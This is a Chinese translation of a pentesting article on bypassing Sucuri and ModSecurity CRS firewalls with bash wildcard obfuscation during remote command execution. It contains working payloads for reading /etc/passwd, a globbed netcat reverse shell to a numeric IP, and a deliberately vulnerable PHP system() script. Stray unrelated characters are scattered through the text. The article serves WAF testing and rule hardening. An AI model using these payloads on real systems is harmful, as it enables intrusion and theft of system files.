前言
我可以用
/???/??t /???/??ss??
讀取你的passwd文件撕攒。享受Sucuri WAF
,ModSecurity
茵宪,Paranoia
等等waf帶來的的樂趣......
ps:mac上好像不太行缤削,按道理應(yīng)該也可以啊。
在Web應(yīng)用程序中發(fā)現(xiàn)遠(yuǎn)程命令執(zhí)行漏洞并不是很少見澄成,并且OWASP Top 10-2017
將sql inject
置于第一個(gè)位置:
當(dāng)不受信任的數(shù)據(jù)作為命令或查詢的一部分發(fā)送到解釋器時(shí)胧洒,就會(huì)發(fā)生注入畏吓,例如SQL
,NoSQL
卫漫,OS
和LDAP
注入菲饼。攻擊者的惡意數(shù)據(jù)可以欺騙解釋器在沒有適當(dāng)授權(quán)的情況下執(zhí)行非預(yù)期的命令或訪問數(shù)據(jù)。
所有現(xiàn)代Web應(yīng)用程序防火墻都能夠攔截(甚至阻止)RCE嘗試汛兜,但是當(dāng)它發(fā)生在Linux系統(tǒng)中時(shí)巴粪,我們有很多方法可以逃避WAF規(guī)則集。滲透測試人員最好的朋友不是狗......它的名字是通配符
粥谬。在開始做WAPT之前肛根,我想告訴你一些你可能不了解bash和通配符的事情。
關(guān)于通配符你不知道的事
各種命令行實(shí)用程序使用Bash標(biāo)準(zhǔn)通配符(也稱為通配模式)來處理多個(gè)文件漏策。有關(guān)標(biāo)準(zhǔn)通配符的更多信息派哲,請通過鍵入?yún)⒖际謨皂?code>man 7 glob。不是每個(gè)人都知道有很多bash語法使你能夠使用問號掺喻?
芭届,正斜杠/
,數(shù)字和字母
來執(zhí)行系統(tǒng)命令感耙。您甚至可以使用相同數(shù)量的字符枚舉文件并獲取其內(nèi)容褂乍。怎么樣?我舉幾個(gè)例子:
執(zhí)行l(wèi)s命令即硼,您可以使用以下語法:
使用這種語法逃片,您可以執(zhí)行基本上所需的一切。比方說只酥,你的脆弱的目標(biāo)是一個(gè)Web應(yīng)用防火墻的后面褥实,這WAF有一個(gè)規(guī)則,包含塊的所有請求/etc/passwd
或/bin/ls
GET參數(shù)的值內(nèi)或身體內(nèi)部的POST請求裂允。如果你試圖提出一個(gè)請求损离,/?cmd=cat+/etc/passwd
它會(huì)被目標(biāo)WAF阻止,你的IP將被永久禁止并被標(biāo)記為另一個(gè)f *** in'redteamer'
绝编。但是你的口袋里有一個(gè)叫做通配符的秘密武器僻澎。如果你很幸運(yùn)(不太幸運(yùn),我們后面會(huì)說到)十饥,目標(biāo)WAF沒有足夠的嚴(yán)格怎棱,來阻止像?
和/
在查詢字符串中。因此绷跑,您可以輕松地發(fā)出您的請求(網(wǎng)址編碼),如下所示:/?cmd=%2f???%2f??t%20%2f???%2fp??s??
正如您在上面的屏幕截圖中看到的那樣凡资,有3個(gè)錯(cuò)誤/bin/cat *:是一個(gè)目錄
砸捏。發(fā)生這種情況是因?yàn)?code>/???/??t可以通過整合過程轉(zhuǎn)換
到/bin/cat
或者/dev/net
,/etc/apt
等等....
問號通配符僅代表一個(gè)可以是任何字符的字符谬运。因此,如果您知道文件名的一部分而不是一個(gè)字母垦藏,那么您可以使用此通配符梆暖。例如ls *.???
,列出當(dāng)前目錄中擴(kuò)展名為3個(gè)字符的所有文件掂骏。因此轰驳,將列出具有.gif,.jpg弟灼,.txt
等擴(kuò)展名的文件级解。
使用此通配符,您可以使用netcat執(zhí)行反向shell田绑。假設(shè)您需要在端口1337(通常nc -e /bin/bash 127.0.0.1 1337
)執(zhí)行反向shell到127.0.0.1 勤哗,您可以使用以下語法執(zhí)行此操作:
/???/n? -e /???/b??h 2130706433 1337
以long
格式(2130706433)轉(zhuǎn)換IP地址127.0.0.1
,可以避免在HTTP請求中使用.
字符掩驱。
在我的kali中我需要使用nc.traditional
而不是nc沒有-e參數(shù)芒划,以便/bin/bash在連接后執(zhí)行。payload變成這樣:
/???/?c.??????????? -e /???/b??h 2130706433 1337
下面我們剛剛看到的兩個(gè)命令的一些摘要:
標(biāo)準(zhǔn):/bin/nc 127.0.0.1 1337
bypass:/???/n? 2130706433 1337
使用的字符:/ ? n [0-9]
標(biāo)準(zhǔn):/bin/cat /etc/passwd
bypass:/???/??t /???/??ss??
使用的字符:/ ? t s
為什么用?而不是*,因?yàn)樾翘枺?)被廣泛用于注釋語法(類似/*嘿欧穴,我是注釋*/)民逼,許多WAF阻止它以避免SQL注入...類似于UNION + SELECT + 1,2,3 /*
使用echo?枚舉文件和目錄涮帘?是的你可以拼苍。該echo命令可以使用通配符枚舉文件系統(tǒng)上的文件和目錄。例如echo /*/*ss*
這可以在RCE上使用焚辅,以便在目標(biāo)系統(tǒng)上獲取文件和目錄映屋,例如:
但是為什么使用通配符(特別是問號)可以逃避WAF規(guī)則集?讓我先從Sucuri WAF開始吧同蜻!
Sucuri WAF bypass
哪種測試WAF規(guī)則集的最佳方法是什么棚点?創(chuàng)建世界上最易受攻擊的PHP腳本并嘗試所有可能的技術(shù)!在上面的屏幕截圖中湾蔓,我們有:在左上方的窗格中有我丑陋的Web應(yīng)用程序(它只是一個(gè)執(zhí)行命令的PHP腳本):
<?php
echo 'ok: ';
print_r($_GET['c']);
system($_GET['c']);
在左下方的窗格中瘫析,您可以在我的網(wǎng)站上看到由Sucuri WAF(test1.unicresit.it)保護(hù)的遠(yuǎn)程命令執(zhí)行測試。正如您所看到的默责,Sucuri阻止了我的請求贬循,原因是檢測到并阻止了嘗試的RFI/LFI
。這個(gè)原因并不完全正確桃序,但好消息是WAF阻止了我的攻擊(我甚至不知道為什么防火墻會(huì)告訴我阻止請求的原因杖虾,但應(yīng)該有一個(gè)理由......)。
右側(cè)窗格是最有趣的媒熊,因?yàn)樗@示相同的請求奇适,但使用問號
作為通配符坟比。結(jié)果令人恐懼...... Sucuri WAF接受了請求,我的應(yīng)用程序執(zhí)行了我輸入c參數(shù)的命令∪峦現(xiàn)在我可以讀取/etc/passwd
文件甚至更多...我可以閱讀應(yīng)用程序本身的PHP源代碼葛账,我可以使用netcat
(或者我喜歡稱之為/???/?c
)來執(zhí)行反向shell ,或者我可以執(zhí)行類似curl或wget
按順序的程序顯示W(wǎng)eb服務(wù)器的真實(shí)IP地址皮仁,使我能夠通過直接連接到目標(biāo)來繞過WAF籍琳。
我不知道是否會(huì)發(fā)生這種情況,因?yàn)槲以?code>Sucuri WAF配置上遺漏了一些內(nèi)容贷祈,但似乎沒有...我已經(jīng)在Sucuri問過這是否是一種有人參與的行為趋急,以及他們是否配置了默認(rèn)的低等級
以避免錯(cuò)誤,但我還在等待答案付燥。
請記住宣谈,我正在使用一個(gè)不代表真實(shí)場景的愚蠢PHP腳本進(jìn)行此測試。恕我直言键科,你不應(yīng)該根據(jù)它阻止的請求來判斷一個(gè)WAF闻丑,而且Sucuri的安全性并不高,因?yàn)樗荒芡耆Wo(hù)一個(gè)故意易受攻擊的網(wǎng)站勋颖。做了必要的說明嗦嗡!
ModSecurity OWASP CRS 3.0
我真的很喜歡ModSecurity,我認(rèn)為與Nginx和Nginx連接器一起使用的新libmodsecurity(v3)是我用過的最佳解決方案饭玲,用于部署Web應(yīng)用程序防火墻侥祭。我也是OWASP核心規(guī)則集的忠實(shí)粉絲!我到處都用它但是茄厘,如果你不太了解這個(gè)規(guī)則集矮冬,你需要注意一個(gè)叫做愛的小東西..嗯對不起妄想癥又犯了!
嚴(yán)格模式
您可以在此處找到的以下模式
很好地概述了每個(gè)級別如何處理“請求協(xié)議強(qiáng)制執(zhí)行”規(guī)則次哈。正如您在PL1中看到的那樣胎署,查詢字符串只能包含1-255范圍內(nèi)的ASCII字符,并且它會(huì)變得更加嚴(yán)格窑滞,直到PL4阻止非常小范圍內(nèi)的非ASCII字符
# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE
讓我們對所有級別進(jìn)行一些測試琼牧!
PL0
等級0表示禁用了許多規(guī)則,因此我們的payload可以毫無問題地導(dǎo)致遠(yuǎn)程命令執(zhí)行哀卫,這是絕對正常的巨坊。問題不大,不要慌:)
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=0"
PL1, PL2
我已將1級和2級分組此改,因?yàn)樗鼈兊牟町悾ㄈ缟蠄D所示)不會(huì)影響我們的目標(biāo)趾撵,所有行為都與下面描述的相同。
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=1"
使用PL1(和PL2)ModSecurity顯然阻止了我對OS File Access Attempt
的請求(930120)共啃。但是占调,如果我將問號用作通配符怎么辦勋拟?該請求被我的WAF通過了:
發(fā)生這種情況是因?yàn)椤皢柼枴保?code>正斜杠和空格
都在規(guī)則920271和920272的字符范圍內(nèi)。此外妈候,使用問號
代替命令語法使我能夠逃避攔截操作系統(tǒng)的常見命令和文件
(例如我們的/etc/passwd
)。
PL3
這種模式它阻止包含挂滓?
等字符的請求超過n次苦银。事實(shí)上,我的請求已被阻止為元字符異常檢測警報(bào) - 重復(fù)非字符
赶站。這很酷幔虏!很強(qiáng)的ModSecurity,你贏了一只泰迪熊贝椿!但不幸的是想括,我的網(wǎng)絡(luò)應(yīng)用程序是如此丑陋和易受攻擊,我可以使用較少的問號并使用以下語法讀取passwd文件:c=/?in/cat+/et?/passw?
正如你所看到的烙博,只使用3個(gè)瑟蜈?
問號我就bypass了這個(gè)級別并讀取目標(biāo)系統(tǒng)內(nèi)的passwd文件。好吧渣窜,這并不意味著你必須始終無條件地將你的等級設(shè)置為4铺根。請記住,我正在使用一個(gè)非常愚蠢的PHP腳本來測試它乔宿,這個(gè)腳本并不代表真實(shí)場景...我希望......你懂的.....
現(xiàn)在每個(gè)人都知道42是生命位迂,宇宙和一切的答案。但是那樣:你會(huì)bypass PL4的OWASP規(guī)則集嗎详瑞?
PL4
基本上沒有掂林,我做不到。范圍之外的所有字符a-z A-Z 0–9
都被阻止坝橡!沒辦法......相信我泻帮,當(dāng)你需要執(zhí)行一個(gè)命令來讀取文件時(shí),有90%的概率你需要一個(gè)空格
字符或正斜杠
.
最后的想法
回到靜態(tài)HTML頁面......這是提高Web應(yīng)用程序安全性的最快方法驳庭!很難說 避免bypass WAF
的最佳配置是什么刑顺,或者使用什么waf最好。恕我直言饲常,我們不應(yīng)該信任在Web應(yīng)用程序上均勻分布的規(guī)則集蹲堂。實(shí)際上,我認(rèn)為我們應(yīng)該根據(jù)應(yīng)用程序功能配置我們的WAF規(guī)則贝淤。
無論如何柒竞,當(dāng)你在ModSecurity上寫一個(gè)新的SecRule時(shí),請記住播聪,可能有很多方法可以避開你的過濾器/正則表達(dá)式
朽基。所以寫下來我怎么能逃避這個(gè)規(guī)則布隔?
。
后續(xù)繼續(xù)把剩下的兩篇補(bǔ)上稼虎,文中有些可能欠妥衅檀,請指出!